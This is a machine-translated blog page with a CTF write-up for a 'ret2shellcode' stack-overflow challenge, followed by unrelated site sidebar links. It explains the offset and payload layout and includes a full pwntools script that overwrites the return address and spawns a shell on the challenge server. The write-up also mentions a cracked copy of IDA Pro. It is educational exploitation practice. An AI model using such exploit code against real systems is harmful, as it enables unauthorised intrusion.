当前位置:网站首页>ret2shellcode
ret2shellcode
2022-07-23 23:32:00 【Long street 395】
List of articles
One 、 Stack overflow ?
In stack overflow attack technology, it is usually to control the return address of the function to a specific location to execute the code you want to execute .
Two 、 The problem solving process
1. Open topic , Download the attachment , Use file View file type
View security measures CANARY/FORTIFY/NX/PIE Basically closed 
It's a 64 Bit elf file , Add executable rights 
Run it , You can see that the title generates an address , And need to be in Input someting Type in payload

2.IDA Decompile
(ps:IDA stay linux The environment is too difficult to configure , My approach is to windows In the environment , Open a virtual machine , And then in windows Download the cracked version in ida pro, stay linux Do questions in the virtual machine )
Old rules , Put it in IDA Take a look inside :

__int64 buf; // [rsp+0h] [rbp-10h] You can know buf be relative to rbp The offset of is 0x10
So its available shellcode Space for 16+8=24 byte ( Offset + The return address ), We have a length of 23 Of shellcode, But because it has push The directive , If we put shellcode Put it in front of the return address , In procedure leave Will destroy shellcode, So we put it in the back , namely payload The format is :
bytes('a',encoding="utf8")*24+[buf_addr+32]+shellcode
there 32 yes 24 Bytes of padding data + The return address
3. Code
from pwn import *
context(os="linux", arch="amd64", log_level='debug')
host = 'challenge-b5fd6fdf00912e7a.sandbox.ctfhub.com'
port = 33363
p = process('./pwn')
p = connect(host,port)
p.recvuntil(b'[')
buf_addr = int(p.recvuntil(b']')[:-1].decode('utf-8'), 16) # obtain buf Address
shellcode_address = buf_addr+0x20
p.recv()
shell= asm(shellcraft.sh())
p.sendline( b'a'*24 + p64(shellcode_address) + shell)
p.interactive()

summary
The basic process is to check the file information first , then ida Decompile , Then go to find the variables you want , Finally, build the code .
边栏推荐
- Baidu editor uploads pictures and sets custom directories
- pwn1_sctf_2016
- Contemporary inspirational "women"
- Open source embedded sig in the openeuler community. Let's talk about its multi OS hybrid deployment framework
- BGP选路,MPLS
- 2022-7-22 face review + simple topic sorting
- [数组]NC95 数组中的最长连续子序列-较难
- Go language multiple return values and return error types
- [ CTF ]天格战队WriteUp-首届数字空间安全攻防大赛(初赛)
- How are you preparing for the Android golden nine silver ten interview? The latest Android Interview Questions Summary helps you prepare for the war
猜你喜欢
![[leetcode ladder] linked list · 206 reverse linked list](/img/49/f3322c7abc9a0c7cf637264e677bc2.jpg)
[leetcode ladder] linked list · 206 reverse linked list

Entropy weight method to optimize TOPSIS (matlab)

TAP 系列文章4 | 基于 Backstage 的 TAP 开发者门户

The most complete 2022 Android interview questions in history

Principal component analysis (matlab)

ret2text

二,数字逻辑功能单元

Tap series article 9 | application development accelerator

Redis pipeline technology / partition
![[SSM]前后台协议联调①](/img/47/c1016c5c5e4ffc0d6cc93cf50d52df.png)
[SSM]前后台协议联调①
随机推荐
Lu Xia action | Source Kai Digital: Existing Mode or open source innovation?
strncat() strncmp()
[array] longest continuous subsequence in nc95 array - difficult
Galaxy Securities opens an account online. Is it safe to open an account on your mobile phone
第六章、实现一个持久性适配器
ciscn_2019_n_8
TAP 系列文章6 | TAP的应用模型
iptables防止nmap扫描以及binlog
Stm32mp1 M4 bare metal cubeide Development Guide Chapter 6 stm32cube firmware package
网络安全课堂作业
Chinese NFT? NFR was born
[audio and video technology] video quality evaluation MSU vqmt & Netflix vmaf
None和nan、NaN、NAN
Redis pipeline technology / partition
TAP 系列文章7 | 易于管理的流水线配置
solo 文章正文含有 <> 标签会影响到页面样式
Tap series article 6 | application model of tap
warmup_csaw_2016
AutoCAD advanced operation
2、 Digital logic functional unit